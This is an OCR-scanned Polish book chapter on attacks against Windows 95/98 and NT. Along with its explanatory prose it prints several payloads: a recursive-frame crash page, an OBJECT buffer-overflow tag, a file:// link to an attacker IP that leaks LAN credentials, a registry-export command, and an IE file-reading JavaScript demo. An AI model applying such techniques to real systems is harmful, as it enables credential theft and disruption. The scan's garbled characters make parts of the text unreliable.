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Ataki na Windows 95/98

Kazdy haker wie, ze nie istnieje co$ takiego jak ochrona danych w systemie opera-
cyjnym Windows 95, gdyz taka mozliwo$¢ nie zostata przewidziana przez firme
Microsoft. Co prawda istnieje system hasel, ale nie jest on specjalnie funkcjonalny.
Brakuje rowniez mechanizméw sprawdzania dostgpu do plikéw czy innych zaso-
bow systemu. Z pomoca intruzom przychodzi ponadto WinAPI, w ktérym az roi si¢
od funkcji umozliwiajacych wykorzystanie systemu ,,niezgodnie z jego przeznacze-
niem”. System ten nie powinien zatem by¢ traktowany jako ,,system do wszystkiego”
i jezeli juz zostanie podtaczony do Sieci, nalezy sig liczy¢ z ewentualnym niebezpie-
czenstwem.

WinAPI

Wiele luk w systemie bezpieczenstwa zwiazanych jest z samym systemem opera-
cyjnym i, aby zrozumie¢ ich zasadg, nalezy w minimalnym chociaz stopniu przy-
swoi¢ sobie dziatanie WinAPI (Windows Application Programming Interface).

Wszystkie obiekty graficzne widziane na ekranie, takie jak: przyciski, pola teksto-
we, listy wyboru itp. sa przez system traktowane tak samo — kazdy taki obiekt jest
oddzielnym oknem, ktore podlega pewnym zaleznosciom, a okna z kolei maja wta-
sciwosci okreslajace kolor, czcionkeg, wyglad i rozne inne cechy charakterystyczne
dla klasy danych okienek. Kazde okno ma réwniez zdefiniowane procedury obstugi
wiadomosci pochodzacych z systemu, badz to od uzytkownika czy innej aplikacji.
»Wiadomosci stanowia bowiem bardzo sprytny mechanizm systemu powiadamia-
nia jego komponentéw o tym, ze zaistniato jakie$ zdarzenie np. uzytkownik wpisat
text do okienka klasy TextEdit (okienko tekstowe), system wystat do kolejki wia-
domosci polecenie SetText (ustaw tekst) w momencie, gdy okienko ,,obstuzy”
wszystkie wiadomos$ci w kolejce i ,,dojdzie” do SetText, w polu tekstowym zostanie
wys$wietlona warto$¢ wpisana przez uzytkownika. Teraz nalezatoby zadada¢ kolejne
pytanie — czemu stuza kolejki wiadomos$ci? OdpowiedZz wydaje si¢ prosta — sa
one po to, by okienko ,,wiedziato”, ktére rzeczy ma obshugiwac i w jakiej kolejno-
$ci. WinAPI udostgpnia funkcje, ktore pozwalaja podglada¢ kolejki wiadomosci dla
dowolnego okienka, udostgpnia rowniez funkcje shuzace do odczytywania wtasci-
wosci okienek oraz wartosci tych wlasciwosci (np. okienko tekstowe Edit ma wia-
Sciwo$¢ typu Text, ktora jest wyswietlana i stanowi odwzorowanie tego, co wpisat
uzytkownik; jest ono identyfikowane za pomoca uchwytu, swoistego identyfikato-
rem w skali systemu.

I znéw nasuwa si¢ pytanie — jaki sens ma wprowadzenie dodatkowych zasad ob-
shugi, skoro tekst okna tekstowego zawsze jest widoczny? I znéw odpowiedz okaze
si¢ prosta. Istnieje bowiem bardzo sprytna wlasciwosé okienek tekstowych — Pas-
swdChar. Jesli jest ona odpowiednio ustawiona, to okienko zamiast wyswietlaé
wlasciwos¢ Text, pokaze znaczki *** (w ilosci odpowiedniej do ilosci liter w Text).
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Jest to mozliwo$¢ doskonale znana ze wszystkich programow, w ktorych trzeba
wprowadzi¢ hasto. Stanowi jednak pozorna ochrong, gdyz wiasciwos$¢ Text dalej
zawiera prawidlowy napis (np. hasto uzytkownika).

Dobrze jest pamigta¢ takze o tym, ze wszystkie funkcje moga by¢ wykonywane
przez dowolny program.

Narze¢dzia

Do hakowania Windowsa wykorzysta¢ mozna wiele narzedzi, np.:

¢

WinSight [Windows and messages viewer] — aplikacja dostarczana
z produktami firmy Borland (obecnie Inprise), ktdra pozwala migdzy innymi
podglada¢ wiadomos$ci wysytane do docelowych okien;

Tunel — prosty programik tunelujacy transmisjg¢ TCP/IP; dodatkowa opcjg
stanowi mozliwo$¢ podgladania catej transmisji w konsolowym okienku;

FS [Fake Server] — program, ktory udaje serwer dowolnej ustugi; zostat
napisany w celu testowania protokotow Sieciowych i ich klientow,

ale doskonale moze postuzy¢ jako sniffer haset programéw pocztowych,
gdyz ma mozliwos$¢ podgladu i logowania transmisji;

Listen — program, ktorego jedyna funkcja jest nastuchiwanie prowadzone na
danym porcie i informowanie uzytkownika o probach potaczenia; moze stuzy¢
do monitorowania portu 139 i chroni¢ przed stawetnym WinNukiem;

DUP [Dial-up passwd] — programik, ktory uzywajac funkcji WinAPI
»wyciaga” hasta stuzace do taczenia si¢ z Internetem,;

PortScanner — shuzy do skanowania portow zdalnego hosta, pozwala okreslic,
ktoére ustugi (i w jakich wersjach) sa dostgpne na serwerze;

ICQThief — ,,podszywa” si¢ pod serwer ICQ i pokazuje hasto ofiary;
winspy.dll to biblioteka, ktora ,,podszywa” si¢ pod winsock.dll (obstuga
TCP/IP) i pozwala $ledzi¢ wszystkie odwotania wraz z parametrami;

Netstat — standardowy program do sprawdzania potaczen dotaczony
do systemu.

Programy, takie jak: Tunel, FS, Listen i DUP, mozna pobra¢ z Internetu np. ze stro-
ny http://dione.ids.pl/~jan.

Ataki lokalne

Ataki na hasla w programach pocztowych i FTP

W tym przypadku bardzo czgsto mamy do czynienia z brakiem wyobrazni progra-
mistow. Do takiego wniosku niecodwotalnie prowadzi fakt, ze hasta tych programéow
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przewaznie da si¢ albo rozkodowac, albo wykorzysta¢ bez rozkodowywania, po-
niewaz najcze¢sciej sa zapisywane w rejestrze w formie zaszyfrowanej (czgsto uzy-
wa si¢ do tego stabych algorytmoéw) lub w plikach konfiguracyjnych. Najprostsza
metoda na ich uzycie jest zdobycie pliku konfiguracyjnego Iub fragmentu rejestru
z odpowiednim kluczem i umieszczenie go na dysku twardym wtasnego komputera
(w skonstruowanej uprzednio konfiguracji softwarowej) doktadnie w tym miejscu,
z ktorego zostal pobrany. Sprawi to, ze program ,,potraktuje” dany wpis jak swdj
wiasny i sam zajmie si¢ rozkodowaniem odpowiednich danych. Jesli z jakich$ po-
wodow ta metoda okaze sie niemozliwa do zastosowania, haker moze rozkodowaé
hasto znajdujace si¢ w rejestrze lub pliku (udalto si¢ juz ztama¢ hasta do WS_Ftp,
IEMail, Netscape, Cute_FTP). Powdd jest prosty — staby algorytm kodowania.

Usluga Dial-up

WinAPI zawiera funkcje przystosowane do obslugi potaczenia z Internetem po-
przez modem telefoniczny. W$rdd nich znajduja sie rowniez takie, za pomoca kto-
rych mozna ustawi¢ badz pobra¢ ustawienia parametrow polaczenia.

Funkcja:

DWORD RasGetEntryDialParams (
LPTSTR lpszPhonebook,
LPRASDIALPARAMS lprasdialparams,
LPBOOL lpfPassword

pozwala kazdemu programowi na pobranie informacji o konkretnym potaczeniu
(z hastem wilacznie). Na dziataniu tej funkcji opiera si¢ program Dial-up. Co istotne
— hasto nie jest w zaden sposob kodowane!

Sniffing wiadomoSci

Kazdy szanujacy si¢ adept sztuki hakerskiej wie, ze mozliwe jest ustawienie tak
zwanych procedur HOOK, do ktorych beda przekazywane wiadomosci skierowane
do danego okienkam, co pozwala na podglad réznych jego parametréw oraz na na-
pisanie ciekawych programow-narzedzi (np. mozna w ten sposob znajdowaé okna,
ktore dopiero co zostaty zamknigte lub otwarte). Haker robi to w nastgpujacy sposob:

¢ Wilacza WinSight;
W menu Spy ustawia opcjeg Follow focus;

.

¢ W menu Messages ustawia opcjeg A/l windows,

¢ W oknie Messages/Options ustawia tylko opcj¢ Window,
*

W oknie Messages/Processes zaznacza tylko te procesy, ktore go interesuja.

Po kliknigciu okienka, w ktorym jest zamaskowany tekst (w postaci ******)
w pierwszej czesSci okna WinSighta pokazuja si¢ wlasciwosci tego okienka wraz
z tekstem w postaci jawnej, a jesli klikniemy dwukrotnie t¢ pozycjg, pokaze si¢ okno
z doktadnymi wiasciwosciami okienka. Wtedy wida¢, ze wilasciwos¢ Password usta-
wiona jest na true.
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W dolnej czgsci okna mozna $ledzi¢ wiadomosci, jakie sa wysytane do okienka do-
celowego. Po kliknigciu okienka tekstowego — jesli okno macierzyste jest okien-
kiem dialogowym — zostaje wysylana wiadomos¢ ,,WM_ GETDLGCODE”, ktora
zwraca m.in. warto$¢ tekstu w okienku. Nie jest to oczywiscie jedyna wiadomos¢,
ktora da si¢ wykorzysta¢ w ten sposob. I hakerzy ciagle eksperymentuja.

Autorun

To bardzo ciekawy wynalazek firmy z Redmont. Jesli na dysku CD-ROM umiescimy
plik autorun.inf, ktory bedzie zawierat tekst:

[autorun]
OPEN=NAZWA PROGRAMU.EXE

to od razu po wlozeniu CD zainstaluje si¢ program NAZWA PROGRAMU.EXE,
ktory niesie ze soba potencjalne zagrozenie. Na dodatek moze on ,,ukry¢ si¢” w syste-
mie, tak aby uzytkownik nie mogt go zauwazy¢ nawet po nacisnigciu Ctri+Alt+Del.
Szczegodlnie trzeba uwazac na plyty z pirackim oprogramowaniem, ktore powyzszy
trik moga wykorzystywac.

Wykradanie rejestru systemowego

Do operacji wykonywanych na rejestrze stuzy program Regit, ktory zaopatrzony
jest w bardzo ciekawe opcje. Moze on zosta¢ uruchomiony bez pokazywania okien-
ka. Parametr ,-¢’ stuzy tu do eksportowania rejestru badz jego cz¢sci do pliku .reg
(jest to plik tekstowy).

Polecenie:
regedit —e c:\l.reg HKEY CURRENT_USER\Software

utworzy plik /.reg w katalogu gtownym dysku C zawierajacy klucz HKEY CUR-
RENT USER\ Software. W zaleznosci od iloSci zainstalowanego oprogramowania
plik ten bedzie zawierat od kilkuset kilobajtow do kilku megabajtow, a po kompres;ji
moze mie¢ rozmiar idealny do przestania przez Internet.

Ciekawe klucze w rejestrze

Autostart —
[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run).

Wszystkie polecenia, ktdre zostana tu umieszczone beda wykonane podczas startu.

Ustawienia programéw — [HKEY CURRENT USER\Software] — mieszcza kon-
figuracja, hasta, numery seryjne itp.

Sposoby wykorzystania rejestru

Jesli haker posiada fragment czyjegos$ rejestru i chece korzystac z jakiego$ hasta to,
aby unikna¢ konieczno$ci zbednego rozkodowywania hasel, moze zaimportowac
odpowiednie klucze z utworzonego na komputerze ofiary pliku .reg. Docelowy
program potraktuje to jako oryginalna konfiguracje.

C:\WINDOWS\Pulpit\Szymon\hakerzy\r02b.doc 163



164

Hakerzy....

Podgladanie transmisji pakietow w Sieci

WinSpy

Tunel

FS

Jesli haker zamierza podejrze¢ transmisj¢ prowadzong migdzy dwoma hostami, to
moze to zrobi¢ na trzy rézne sposoby :

1. Przechwyci¢ odwotania do biblioteki winsock.dll;
2. Przepusci¢ calq transmisjg przez nasza aplikacje;

3. Sledzic to, co jest przesylane za pomoca kabla.

O ile trzecia metoda taczy si¢ z ingerencja w sterowniki, o tyle pierwsza i druga
z powodzeniem pozwalaja si¢ wykona¢ (nie trzeba chyba przypominac, ze transmisja
w protokotach SMTP, NNTP, FTP, HTTP itp. nie jest kodowana). Wigc wszystkie
hasta czy loginy moga by¢ tatwo podgladane.

Podszywa si¢ pod bibliotekg winsock.dll i loguje wszystkie odwotania do niej tacznie
z parametrami przekazywanymi do odpowiednich funkcji. Jest to o tyle dobry pro-
gram, ze mozna za jego pomoca przesledzi¢ dokladnie, co ,,robia” aplikacje z otwar-
tym socketem, mozna réwniez monitorowacé transmisj¢ UDP.

Prosty programik, ktory stuzy hakerowi do przekazywania transmisji z jednego
socketa do drugiego. Moze on np. ,przepusci¢” przez niego sesj¢ IRC albo sesje
POP3, Zeby pozna¢ hasto wysytane do serwera (do odpowiedniego dziatania tego
programu niezbedny jest jeszcze serwer, do ktéorego mozna by przekierowywaé
transmisje).

Fake Server jak sama nazwa wskazuje ,,udaje” serwer dowolnej ustugi. Wystarczy,
ze w pliku konfiguracyjnym haker wpisze schemat protokotu (w formacie request-
reply) np. POP3, a polaczy si¢ z nim programem-klientem. Cata transmisja moze
by¢ logowana.

Windows 95/98 a konie trojanskie

164

Konie trojanskie dziatajace w systemie operacyjnym Windows 95 to temat bardzo
obszerny, gdyz codziennie powstaja nowe, niebezpieczne i coraz to bardziej zaawan-
sowane programy. Dlaczego? Odpowiedz jest prosta:

»--- potega tego systemu jest wprost proporcjonalna do ilosci uzytkownikéw na
swiecie. Kiedys$ konie trojanskie byly przewaznie prymitywnymi bombami logicz-
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nymi lub zwyklymi programami destrukcyjnymi, teraz istnieja takie, ktore w $ro-
dowisku uniksowym zwykto nazywac si¢ «backdorami»”.

Mechanizmy, ktore oferuje sam system bardzo sprzyjaja dziataniu takich progra-
mow. Mozna np. zupetnie ukry¢ proces, przeksztalci¢ go w ,,niezabijalny”, uru-
chomi¢ program przy starcie systemu bez wiedzy uzytkownika czy wreszcie otwo-
rzy¢ na jakim$ porcie serwer ushugi Telnet, ktory bedzie stuzyl napasatnikowi do
zdalnego kontrolowania naszej maszyny. Znanymi przyktadami zaawansowanych
koni trojanskich sa BO (Back Orifice) i BOWL. Umozliwiaja one sterowanie sys-
temem Windows poprzez SieC. Rozprzestrzenianiu si¢ koni trojanskich stuza
wszelkiego rodzaju serwisy sharewarowe i gazety komputerowe zachwycajace si¢
kazdym produktem rodzimych programistow. Powszechnie wiadomo, ze fatwo jest
przemyci¢ w takim programie trojana.

Ataki poprzez Sie¢

Nie istnieje zbyt duzo rodzajow atakéw mozliwych do przeprowadzenia z Sieci.
Przewaznie sa to proste ataki typu DoS (Deniale of Service). Aby w ogoéle bylo
mozliwe do wykonania jakiekolwiek dziatanie skierowane z Sieci na komputer za-
opatrzony w system Windows, musi on mie¢ zainstalowane dodatkowe oprogra-
mowanie np. BO albo BOWLA. Ostatnio pojawily si¢ exploity wykorzystujace
znany z Uniksa ,buffer overflow”, ktére pozwalaja nawet na uruchomienie odpo-
wiedniego programu poprzez Siec.

Ataki DoS na Windows 95/98

Ataki DoS sa klasycznym przyktadem ataku przeprowadzanego z Sieci przeciwko
systemowi Windows. Nie sa one zbyt grozne, gdyz co najwyzej spowodowacé moga
utrat¢ danych w aktualnie uzywanych aplikacjach (sa szczeg6lnie niebezpieczne dla
serwerow). Klasyczne DoS-y, na ktére jest podatny Windows to Winnuke, Tear-
drop, Teardrop2, Synflood, Syndrop, PingOfDeath, Nestea, Nestea2, Hanson,
Smurf, Click i w zasadzie wszystki te, ktorych dziatanie polega na modyfikowaniu
nagtowkdow IP.

Hasla i Sie¢

ICQ

Dobrze wszystkim znany i rozpowszechniony ICQ ma bardzo niedopracowany al-
gorytm transmisji, ktora odbywa si¢ przez sockety datagramowe (UDP). Na poczatku
sesji klient-serwer do tego drugiego jest wysylane hasto w postaci tekstu (atak hake-
ra polega na tym, Zze na swoim komputerze ustawia on program ICQThief, ktory be-
dzie czekatl na potaczenie i przechwytywat hasto.
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Ws_Ftp

Starsze wersje Ws_FTP razem z plikami uploadowaty na serwer specjalny plik kon-
figuracyjny, w ktérym migdzy innymi zapisane byto hasto uzytkownika. Na szcze-
$cie ten razacy btad zostat szybko zlikwidowany i dzi§ juz nie wystgpuje. Nalezy
doda¢, ze WS_FTP jest najpopularniejszym klientem tej ustugi.

ActiveX i Java

Bledy

Kontrolki ActiveX, ktore mozna stosowac na stronach WWW obstugiwane sg m.in.
przez Internet Explorera, poniewaz nie istnieje tutaj w zasadzie technologia sand-
box (piaskownica) znana z JVM (Java Virtual Machine). Programy zapisane w tym
formacie maja dostgp do wszystkich zasobow komputera — chroni przed nimi je-
dynie pelne wylaczenie obstugi tej technologii w przegladarce.

Teoretycznie wszystkie uzywane na stronach WWW kontrolki ActiveX powinny
mie¢ certyfikat autentycznos$ci. Jednak nawet gdy go nie posiadaja, mozna je uru-
chomié, a jedynym zabezpieczeniem przed hakerami bedzie ostrzezenie ze strony
przegladarki o watpliwym pochodzeniu danego komponentu (w Sieci mozna zna-
lez¢ tzw. ,evil ActiveX” ewentualnie ,,RadioActiveX”, czyli kontrolki, ktore robia
rozne ,,ciekawe” rzeczy z naszym systemem). Inaczej sprawa wyglada z appletami
Javy — tutaj dzigki ,,piaskownicy” mozna kontrolowac to, co applet moze, a do
czego nie ma prawa wykona¢. Poza tym JVM narzuca pewne ograniczenia i byloby
to bardzo bezpieczne rozwiazanie, gdyby nie btedy wystepujace kodach.

Internet Explorera

Jaki$ czas temu (wraz z wprowadzeniem wersji 3.0) wiele si¢ moéwito o bledach IE.
Wraz z kazda kolejng wersja, ktora pojawiata si¢ na rynku, programisci z catego
$wiata oraz hakerzy mieli coraz wigcej rozrywki w odnajdywaniu luk bezpieczen-
stwa. W tej chwili nawet wersja 5.0 jest podatna na powazne bledy, co jest o tyle
niebezpieczne, ze program Outlook Express wykorzystuje biblioteki IE do wyswie-
tlania wiadomosci i listow zapisanych w formacie HTML.

O ile na strong WWW haker musi ofiarg ,,$ciagna¢” tak, aby obejrzala jego odpo-
wiednio spreparowane dzielo, to w przypadku listow wystarczy, ze wysSle go na od-
powiedni adres.

Ramki rekursywne
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<HTML>

<FRAMESET COLS=,50,50”>

<FRAME NAME=,framel” SRC=,test.html>
<FRAME NAME=, frame2” SRC=,test.html>
</FRAMESET>

</HTML>
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Kiedy zapiszemy powyzszy kod HTML w pliku test.html, jego wykonanie w prze-
gladarce IE (3.0-4.0) spowoduje zawieszenie programu, a nawet calego systemu.
Jest to proste dziatanie — IE w nieskonczono$¢ taduje ramki ,,framel” i ,,frame2”
stronami z pliku test.html, ktory zawiera kolejne ramki ,,framel” i ,,frame2” — i tak
az do wyczerpania zasobow.

Buffer Overflow OBJECT

<OBJECT
CLSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA>

Whisanie takiego TAG-a na stronie HTML lub w e-mail spowoduje ,,wykrzaczenie”
sig¢ programu (w Outlooku na dodatek nie bgdzie mozna usunac listu ze skrzynki,
bo za kazdym razem, gdy zostanie on kliknigty, zawieszac¢ si¢ bedzie program; jesli
przez ,,przypadek” post trafi na pierwsza pozycj¢ w jakiej$ grupie dyskusyjnej to
uzytkownik wyzej wymienionego programu nie bgdzie moglh tam ,,wes¢”, bo auto-
matycznie si¢ otworzy post zawierajacy nasz ,,evil code”. Zamiast ,,AAAA” mozna
prawdopodobnie wpisaé¢ kod wykonywalny, gdyz jest to tylko kwestia znajomosci
dhugosci bufora.

Przekazywanie hasla

Czy przegladarka WWW moze wysta¢ do Internetu nasze dane (wlaczajac w to login
i hasto do Sieci LAN)?

Dla wszystkich wersji systemu Windows (95, OSR2, 3.x, NT) odpowiedz brzmi:

TAK, jesli jest to wersja <= 3.01 Internet Explorera lub Netscape Navigatora. Blad

polega na tym, ze jesli przegladarka znajdzie w dokumencie adres w postaci:
file://\\aa.bb.cc.dd\path\to\file

gdzie aa.bb.cc.dd stanowia numer IP odleglego hosta, to sprobuje si¢ z nim
potaczy¢ wysylajac dane uzytkownika LAN sadzac, ze ma do czynienia z serwerem
plikow. Potwierdzanie autentycznosci odbywa si¢ nastepujaco:

1. Najpierw serwer wysyla jakis losowo wybrany ciag znakow;
2. Komputer go odbiera i szyfruje uzywajac jako klucza hasta uzytkownika;
3. Zaszyfrowany tekst jest przesytany do serwera;

4. Nastepnie serwer po kolej szyfruje oryginalny tekst za pomoca wszystkich haset
w bazie danych; jesli zaszyfrowane hasto bedzie takie samo jak to przestane
przez klienta to potaczenie zostanie nawiazane.
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W ten sposob haker sprawdza autentycznos$¢ klienta bez przesytania jego hasta
przez Sie¢. Dzieje sie to bezglosnie i bez podania jakiejkolwiek informacji. Atak
polega na tym, aby w dokumencie ukry¢ adres o wyzej wymienionym formacie
wskazujacym na serwer jakiego$ hakera, na ktorym jest uruchamiana specjalnie
zmodyfikowana wersja serwera plikow. Majac do dyspozycji dane przestane przez
przegladarkeg, mozna zastosowaé tzw. atak brute force ewentualnie z wykorzysta-
niem stownika. Nawet jesli to si¢ nie powiedzie, atakujacy komputer ma i tak sporo
informacji o kliencie.

Przesylanie pliku

168

Jednym z licznych btedow IE jest dana hakerom mozliwo$¢ odczytania przez spe-
cjalnie przygotowana strong WWW tekstu lub pliku HTML z komputera uzytkow-
nika i wystania jego zawartosci na inny komputer. Dzieje si¢ to nawet kiedy uzyt-
kownik jest za firewallem. Blad wykorzystuje Java Script, a nazwa i polozenie
pliku musza by¢ znane. Innym sposobem na wykorzystanie tego btedu jest wystanie
specjalnie przygotowanej wiadomosci do Outlook Express z IE4 .

The source of the page:

ut her
<HTML>
<HEAD><TITLE>Read text/HTML file with Internet Explorer
4.01></TITLE></HEAD>
<BODY>
This demonstrates a bug in IE 4.01 under Windows 95 (don’t know for
other versions), which allows reading text or HTML file on the
user’s machine.
<B>Create the file c:\test.txt</B> and its contents are shown in a
message box. The file may be sent to an arbitrary server even if
behind a firewall.
<BR>
To test it, you need Javascript enabled.
<BR>
This file is created by <A
HREF=http://www.geocities.com/ResearchTriangle/1711>Georgi
Guninski.</A>
<SCRIPT LANGUAGE=,JAVASCRIPT”>
alert (,This page demonstrates reading the file C:\\test.txt (you may
need to create a short file to view 1it)”);
var x=window.open (‘file://C:/test.txt’);
x.navigate (,javascript:eval (\”var
a=window.open (‘file://C:/test.txt’) ;r=a.document.body.innerText;aler
() \")");
</SCRIPT>
</BODY>
</HTML>

W podsumowaniu mozna stwierdzi¢, ze system Windows 95 jest dostgpny dla kaz-
dego wlamywacza i nie stanowi on zadnego wyzwania. Dobrze jest zatem zaopa-
trzy¢ go w pakiety umozliwiajace wprowadzenie ochrony danych.

Warto wige zwrdci¢ szczegdlna uwage na miejsca, dla ktérych Windows 95 stanowi
zagrozenie, a s to:
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¢ Urzedy, banki;

¢ Kawiarenki internetowe;

¢ Lotniska (terminale WWW);

¢ Punkty promocyjne TPsa;

¢ Wszelkiego rodzaju miejsca, w ktorych dostep do Sieci nie jest kontrolowanys;

¢ Targi (np. EXPO, INFOSYSTEM, COMMNET itp.).

Ataki na Windows NT

Rozwazania dotyczace podatnosci sytemu Windows NT na ataki hakerskie, nale-
zaloby rozpocza¢ od odpowiedzi na pytanie o to, skad si¢ biora ,,dziurawe” systemy.
Gltowna przyczyng nalezy upatrywac w:

¢ Btledach w oprogramowaniu;

¢ Lukach w protokotach sieciowych (stos TCP/IP) i aplikacyjnych (FTP, HTTP);

¢ Lukach w systemie operacyjnym;

¢ Lukach w aplikacjach;

¢ Implementacji zastosowanej kryptografii;

Nie mala rolg odrywaja takze:
¢ Btledy w uzytkownikow i administratorow;

¢ Niewiedza i brak szkolen w zakresie:
& organizacyjnych aspektéw ochrony informacji;

& systemow i narzedzi ochrony aplikacji;
¢ Brak organizacji ochrony informacji;

¢ Bledy wynikajace ze standardowej konfiguracji systemu.

Glowne cele atakow hakerskich to:
¢ Nieuprawniony dostep;
¢ Kradziez informacji,
¢ Zniszczenie informacji;
¢ Modyfikacja informacji;
¢ Blokada ustug (DoS — Denial of Service).
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Warto wigc zapoznac si¢ z niektorymi popularnymi formami ataku, jaki moze zo-
sta¢ przeprowadzony. Ponizej przedstawione zostaly podstawowe metody atakow
hakeréw wymierzone w system Windows NT.

Typ ataku Nazwa System Program Sposob Efekt Uwagi
DoS cpu, Windows Haker telnetuje si¢  Na Porty : 53 — jesli
Telnet NT, 3.51/4.0 na port 135, 53 atakowanym na komputerze
DoS lub 1031 i wpisuje  komputerze  dziata DNS,
dziesi¢¢ znakow, zuzycie to przestaje nagle
a pozniej konczy procesora funkcjonowac;
potaczenie rosnie 135 — RPCSS.exe

do 100 %, co zuzywa wigcej
uniemozliwia czasu procesora

pracg niz powinien;
1031 — jesli
dziata IIS,
to musi zostaé
zrestartowany
DoS Haker wysyla Jesli na
niewlasciwe ramki  komputerze
UDP dziata serwis
WINS, to
Zostaje on
zatrzymany
Nie- Windows Haker podaje Z serwera
uprawniony NT, 4.0, IIS w przegladarce mozna
dostep adres: http://www.  $ciagaé
domena.com/../ pliki spoza
katalogu
,,root”
Nie- GetAdmin Windows Haker loguje sig¢ Tym Nawet jesli
uprawniony NT, 4.0 lokalnie sposobem uzytkownik
dostep na komputerze otrzymuje posiada prawa
i uzywa programu; prawa do debugowania
nie dziata zkonta  administratora pojedynczych
Guest procesow,
to nawet
zainstalowanie
odpowiedniego
hotfixa nic nie
zmienia
DoS MS, IIS  IIS 4.0 posiadajacy Haker wysyla Na zadanie  Aby przywroci¢
4.0 FTP, co najmniej sto €O najmnie;j dostepu do system do
DoS wirtualnych dziesigé publicznych  dziatania nalezy
katalogow réwnolegltych i prywatnych zrestartowac IIS
zadan do katalogow
publicznego serwer
katalogu serwera odpowiada
btedem ,,426
Connection
closed;
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transfer
aborted”

Typ ataku

Nazwa System Program

Sposob

Efekt Uwagi

DoS

DoS

DoS

DoS

Nie-
uprawniony
dostep,
DoS

Windows
NT, 3.51/4.0

TearDrop

Windows
NT, 3.51

Ping of
Death

Windows
NT, 3.5/3.51

Samba
DoS

SYN
Flood

Windows
NT 3.5/3.51/4.0

Ataki
stowniko
we ite,
ktore sa
przeprow
adzane
metoda
brute

force

Haker wysta
duza ilos¢
niepoprawnych
pakietow UDP

Haker wysyta ping
— 165523

Z klienta Samby
haker wysyta
komende DIR ..\

Haker wysyta do
komputera duzo
pakietow SYN
(zadanie
rozpoczecia
transmisji)

Z nieistniejacym
adresem IP, co
powoduje alokacje
zasobow do obshugi
nadchodzacego
potaczenia oraz
wystanie pakietow
SYN-ACK; proby
ponawiane sg 5
razy po 3, 6, 9, 12,
24 148 sekundach,
a przy braku
odpowiedzi, nalezy
poczekacd jeszcze
96 sekund

i dopiero po tym
czasie (ponad 3 min)
zwalniane

sg zasoby

Haker probuje
odgadna¢ hasto,

a moze to czynié
za pomoca stownika
zawierajacego
najpopularniejsze
stowa, imiona itp.
lub przez podawanie
jako hasta
wszystkich
mozliwych

Zawieszenie
systemu

Pojawi sig
niebieski
ekran
Pojawi sig
niebieski
ekranu

Jesli w polu
STATE po
wykonaniu
polecenia netstat
n-p tcp znajduje
sig duzo wpiséw
SYN_RECEIVED
istnieje duze
prawdopodobienst
wo, ze staliSmy si¢
obiektem ataku
typu SYN Flood

Haker uzyskuje
nieuprawniony
dostep lub
zablokowuje
konto
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kombinacji liter,
cyfr i znakoéw
specjalnych

Opisane w tabeli ataki sa podstawowymi, stosowanymi przez wlamywaczy sposo-
bami przejecia kontroli nad zdalnym systemem. Dane zostaly opracowane na pod-
stawie materialdow z konferencji NT Security (Warszawa 16.09.1998) umieszczo-
nych pod adresem: http.//nt.faq.net.pl/ .

Trzeba pamigtaé, ze to, co sprawia, ze Internet jest tak potgzny — czyli dostep
z calego $wiata do informacji na komputerach potaczonych w Sieci — jest takze
olbrzymim ryzykiem utrzymania integralno$ci i bezpieczenstwa danych. Co zlego
moze wydarzy¢ sig, jesli zaniedba si¢ kwestig bezpieczenstwa Internetu? Pamigtaj-
my, ze brak wlasciwej uwagi prowadzi do:

1. Ujawniania zastrzezonych informacji:
¢ Informacji wlasnych;
¢ Informacji klientow;

¢ Informacji o bezpieczenstwie wewnatrz Sieci.

2. Zaprzestania obstugi:

¢ Zapehienie przez hakerow pojemnosci dyskow i uniemozliwienie odbioru
wlasciwych informacji (poczta, polecenia itp.);

¢ Zablokowanie pasma internetowego przez niewlasciwe operacje;
¢ Zablokowanie procesora przez niewlasciwe uzywanie;

¢ Utrata lub uszkodzenie plikow.

3. Falszywego przedstawiania si¢ (podszywania sig):

¢ Wyswietlanie i rozpowszechnianie niewtasciwych informacji w cudzym
imieniu;
¢ Kradziez lub uzywanie list uwierzytelniajacych;

¢ Atakowanie innych Sieci.

Podsumowujac — hakerzy-wlamywacze stosuja zréznicowane techniki agresji na
system informatyczny. Najcze$ciej stosowane to:

¢ Atak brutalny;
¢ Podszywanie sig;
Podstuchiwanie;

Putapki oraz otwarte drzwi;

* & o

Konie trojanskie i wirusy;
¢ Stosowanie socjotechnik;

¢ Tworzenie ,,sztucznego tloku” w Sieci.
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Atak brutalny

Haker uzbrojony w program generujacy (z wykazem faktycznych lub prawdopo-
dobnych nazw kont na serwerach) i ze standardowym stownikiem gotéw jest do
uderzenia. Jego program moze wygenerowa¢ w ciagu godziny tysigce kombinacji
nazw i haset uzytkownikdw i probowacé dostac si¢ do systemu.

Podszywanie si¢ (spoofing)

Haker moze wysta¢ do Sieci pakiety danych z zewnatrz, tworzac je w taki sposob,
ze wygladaja tak, jakby pochodzily z legalnego komputera podlaczonego do Sieci.
Chociaz protokoty komunikacyjne raczej nie odesla do niego wynikéw tych trans-
akcji przez Internet, to jednak blyskotliwy haker ciagle bedzie wysyta¢ kolejne po-
lecenia, w rezultacie ktorych naruszone zostanie bezpieczenstwo. Zazwyczaj wysyta
on pewne fragmenty sieciowych konwersacji, a nastgpnie sprawdza, czy zadziataty
tak, jak zaplanowal. Na przyklad serwer z prywatnymi listami pocztowymi moze
by¢ skonfigurowany tak, aby mozliwy byt dostep tylko dla wewngtrznych potaczen
w Sieci. Jednakze haker wysylajac swoje fragmentach konwersacji, moze dotaczy¢
do nich instrukcje, ktore spowoduja, ze serwer pocztowy wysle do niego e-mail
z wykazem wszystkich cztonkow list pocztowych. Nie otrzyma wigc bezposredniej
odpowiedzi od serwera w Sieci, ale moze otrzyma¢ wynik w postaci przesytki
poczty elektronicznej. Teraz, majac liste poprawnych nazw kont, moze zastosowaé
atak brutalny.

Podstuchiwanie (eaves dropping)

Kazdy, kto ma fizyczny dostgp do okablowania Sieci, okablowania dostawcy Inter-
netu lub do dowolnego komputera posredniczacego, moze monitorowac ruch inter-
netowy zachodzacy w Sieci. Proste oprogramowanie monitorujace lub sprzgtowy
